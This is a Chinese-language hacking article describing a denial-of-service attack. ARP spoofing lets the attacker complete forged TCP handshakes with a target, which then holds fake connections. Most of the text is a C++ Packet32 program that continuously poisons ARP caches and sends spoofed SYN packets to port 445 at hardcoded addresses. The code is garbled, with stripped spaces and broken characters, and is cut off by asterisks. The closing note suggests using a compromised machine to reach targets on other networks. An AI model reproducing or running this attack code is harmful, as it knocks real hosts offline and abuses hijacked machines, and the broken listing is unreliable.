基于 ARP 欺骗的 TCP 伪连接 D.o.S

从某种意义上说，如果能够制造TCP伪连接，那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S，而今天，我用的也是这个思路。但是，如果直接伪造TCP三次握手而不作其他任何处理，那却是不行的。因为，当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后，由于系统内并没有发起真正的TCP连接，因此系统会发回一个RST包，这个包将使目标主机重置连接。这样，这个伪连接就建立失败了。

要解决这个问题，办法有不少，而我这里要用的方法就是ARP欺骗。首先，我们要对目标主机进行ARP欺骗，让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来，即使目标主机返回一个SYN+ACK包，这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP)，这样，我们的系统也不会向目标主机发送RST包了。

打个比方，假设我们是主机A，现在我想要攻击主机B。首先，我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B)，这样，B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后，我们再以C的IP为源IP构造SYN数据包，向B发起TCP伪连接。当B收到这个SYN包之后，它会构造一个SYN+ACK包发往C。但是，由于此时在B的ARP缓存中记录着：C的IP对应A的MAC地址，因此，这个SYN+ACK包实际上被发送到了A。虽然，这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP，所以A的系统将会丢弃这个包)，但是，我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后，我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样，TCP初始化连接的三次握手都完成了，我们的伪连接也成功建立了！

伪连接建立之后，我们还可以继续向目标主机发送数据，来保证TCP连接的存活。

这里，有几个需要注意的问题：首先，为了保证攻击过程中目标主机的ARP缓存不被更改，我们需要持续不断的对其进行ARP欺骗；第二，为了防止在攻击过程中我们伪装的主机向目标主机发起通信，刷新目标主机的ARP缓存，对我们的攻击造成影响，我们还可以对伪装主机也同时进行ARP欺骗，以增加攻击成功的几率。

好了，说了这么多，下面就给出我实现的源代码，欢迎大虾们多多指教。

//DoS_By_ARPCheat.cpp:Definestheentrypointfortheconsoleapplication.
//

#include“stdafx.h“
#include“winsock2.h“
#include“Packet32.h“
#include“stdio.h“

#pragmacomment(lib,“packet“)
#pragmacomment(lib,“ws2_32“)

//下面几个宏是测试用的主机的IP和MAC
#defineSIMULATE_MAC“0011111d735a“//伪装主机的MAC地址
#defineTARGET_MAC“001111c6f7fe“//目的主机的MAC地址
#defineLOCAL_MAC“00e06e41508f“//本机MAC地址
#defineTARGET_IP“211.83.97.24“//目的主机的IP
#defineSIMULATE_IP“211.83.97.16“//伪装主机的IP

#defineNDIS_PACKET_TYPE_DIRECTED0x0001//直接模式

#pragmapack(push,1)

structET_HEADER//以太网头部
{
unsignedchareh_dst[6];
unsignedchareh_src[6];
unsignedshorteh_type;
};

structARP_HEADER//ARP头部
{
unsignedshortarp_hdr;
unsignedshortarp_pro;
unsignedchararp_hln;
unsignedchararp_pln;
unsignedshortarp_opt;
unsignedchararp_sha[6];
unsignedlongarp_spa;
unsignedchararp_tha[6];
unsignedlongarp_tpa;
};

structIP_HEADER//IP头部
{
charm_ver_hlen;//4位版本号,4位ip头部长
charm_tos;
USHORTm_tlen;
USHORTm_ident;
USHORTm_flag_frag;//3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
charm_ttl;
charm_protocol;
USHORTm_cksum;
ULONGm_sIP;
ULONGm_dIP;
};

structTCP_HEADER//TCP头部
{
USHORTm_sport;
USHORTm_dport;
ULONGm_seq;
ULONGm_ack;
charm_hlen_res4;//4位tcp头部长,6位保留的前4位
charm_res2_flag;//6位保留的后2位,6位标志
USHORTm_win;
USHORTm_cksum;
USHORTm_urp;
};

structPSD_HEADER//伪头部，计算校验和用
{
ULONGm_saddr;//源地址
ULONGm_daddr;//目的地址
charm_mbz;
charm_ptcl;//协议类型
USHORTm_tcpl;//TCP长度
};

structTCP_OPTION//TCP选项，发起伪连接时要用来与对方协商
{
USHORTunKnown;
USHORTmaxSegSize;//MSS,以太网一般为1460
charno1;
charno2;
USHORTSACK;
};

structCHEAT_ARP_INFO//ARP欺骗线程的参数
{
charsimulateIP[20];
chartargetIP[20];
chartargetMAC[13];
};

#pragmapack(pop)

USHORTCheckSum(USHORT*buffer,intsize);//计算校验和的函数
voidStrToMac(char*str,char*mac);//字符串转换为MAC地址
voidListenACK();//监听函数,监听对方的回包
voidAssayAndSendData(LPPACKETlpPacket);//分析数据帧并发送回包
DWORDWINAPIArpCheat(void*pInfo);//ARP欺骗线程
DWORDWINAPISendSyn(void*no);//发送SYN包的线程
voidInfo();

LPADAPTERlpAdapter=NULL;//适配器指针
USHORTipID=1638;//IP标识
USHORTsourcePort=1056;//起始源端口
USHORTtargetPort=445;//目的端口

intmain(intargc,char*argv[])
{
Info();

WSADATAwsaData;
if(WSAStartup(MAKEWORD(2,1),&wsaData)!=0)
{
printf(“WSAStartuperror!\n“);
return-1;
}

//打开适配器：
WCHARadapter_name[2048]={0};
ULONGadapter_length=1024;

//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)adapter_name,&adapter_length)==FALSE)
{
//adapter_name:一个用于存放适配器的名字的缓冲区
//adapter_length:这个缓冲区的大小
printf(“PacketGetAdapterNameserror:%d\n“,GetLastError());
return-1;
}

WCHAR*name1,*name2;
ULONGi;
staticCHARadapter_list[10][1024];

name1=adapter_name;
name2=adapter_name;
i=0;
//把adapter_name中的适配器名字，分别copy到adapter_list[]中，i从0开始为第一个
while((*name1!=’\0’)||(*(name1-1)!=’\0’))
{
if(*name1==’\0’)
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}

//默认打开第一块适配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if(!lpAdapter||(lpAdapter-〉hFile==INVALID_HANDLE_VALUE))
{
printf(“Unabletoopenthedriver,ErrorCode:%lx\n“,GetLastError());
return-1;
}

//创建ARP欺骗线程:
CHEAT_ARP_INFOinfo1={0},info2={0};
memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);

memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
Sleep(50);

//发送TCP伪连接的SYN数据帧：
::CreateThread(NULL,0,SendSyn,NULL,0,NULL);

ListenACK();//循环监听数据包
PacketCloseAdapter(lpAdapter);//关闭适配器
::WSACleanup();
return0;
}

DWORDWINAPISendSyn(void*no)
{
Sleep(100);

while(TRUE)//循环发送SYN包发起伪连接
{
chars_mac[6]={0},d_mac[6]={0};
charsendSynBuf[128]={0};
ET_HEADERet_header={0};
IP_HEADERip_header={0};
TCP_HEADERtcp_header={0};
TCP_OPTIONtcp_option={0};
PSD_HEADERpsd_header={0};

//填充以太头部：
StrToMac(LOCAL_MAC,s_mac);//local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac);//dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800);//类型为0x0800表示这是IP包

//填充IP头部：
ip_header.m_ver_hlen=(4〈〈4|5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384);//设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP;//高层协议为TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP);//源IP填为伪装主机的IP
ip_header.m_dIP=inet_addr(TARGET_IP);//目的IP

ip_header.m_cksum=CheckSum((USHORT*)&ip_header,sizeof(IP_HEADER));

//填充TCP头部以及TCP选项：
tcp_header.m_dport=htons(targetPort);
tcp_header.m_sport=htons(sourcePort++);
tcp_header.m_seq=::GetTickCount();//初始化序列号
tcp_header.m_ack=0;
tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)〈〈4);
tcp_header.m_res2_flag=2;//标识为SYN包
tcp_header.m_win=htons(16384);
tcp_header.m_cksum=0;
tcp_header.m_urp=0;

tcp_option.unKnown=htons(516);
tcp_option.maxSegSize=htons(1460);//MSS，以太网一般为1460
tcp_option.no1=1;
tcp_option.no2=1;
tcp_option.SACK=htons(1026);

//计算TCP校验和：
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

chartcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
tcp_header.m_cksum=CheckSum((USHORT*)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

//构造SYN数据帧：
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

//发送伪造的SYN包：
LPPACKETlpPacket;
lpPacket=PacketAllocatePacket();//给PACKET结构指针分配内存
PacketInitPacket(lpPacket,sendSynBuf,128);//初始化PACKET结构指针

if(PacketSetNumWrites(lpAdapter,1)==FALSE)//设置发送次数
{
printf(“Warning:Unabletosendmorethanonepacketinasinglewrite!\n“);
continue;
}

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)
{
printf(“Errorsendingthepackets!\n“);
continue;
}
PacketFreePacket(lpPacket);//释放PACKET结构指针
Sleep(100);
}
return0;
}

DWORDWINAPIArpCheat(void*pInfo)
{
CHEAT_ARP_INFOinfo={0};
memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

//伪造ARP应答包：
chars_mac[6]={0},d_mac[6]={0};
ET_HEADERet_header={0};
ARP_HEADERarp_header={0};
charbuffer[64]={0};

StrToMac(LOCAL_MAC,s_mac);//源MAC地址
memcpy(et_header.eh_src,s_mac,6);
StrToMac(info.targetMAC,d_mac);//目的MAC地址
memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0806);//类型为0x0806表示这是ARP包

arp_header.arp_hdr=htons(0x0001);//硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800);//协议地址类型为IP协议
arp_header.arp_hln=6;//硬件地址长度为6
arp_header.arp_pln=4;//协议地址长度为4
arp_header.arp_opt=htons(0x0002);//标识为ARP应答

arp_header.arp_spa=inet_addr(info.simulateIP);//source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(info.targetIP);//target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);

********************************}

注：由于以上代码是我测试用的，因此显得不太便于使用，很多信息都是我自己去获取后直接写进程序里的，比如目标主机的MAC地址等，这些都需要测试者自己修改。另外，这种D.o.S存在着一个局限性，那就是目标主机必须跟我们的主机处于同一个二层网络内。但是，我们可以利用一些方法来克服这种局限性，比如，我们可以在目标主机的网络内找一台肉鸡，这样，我们就只需要控制那台肉鸡进行攻击就行了。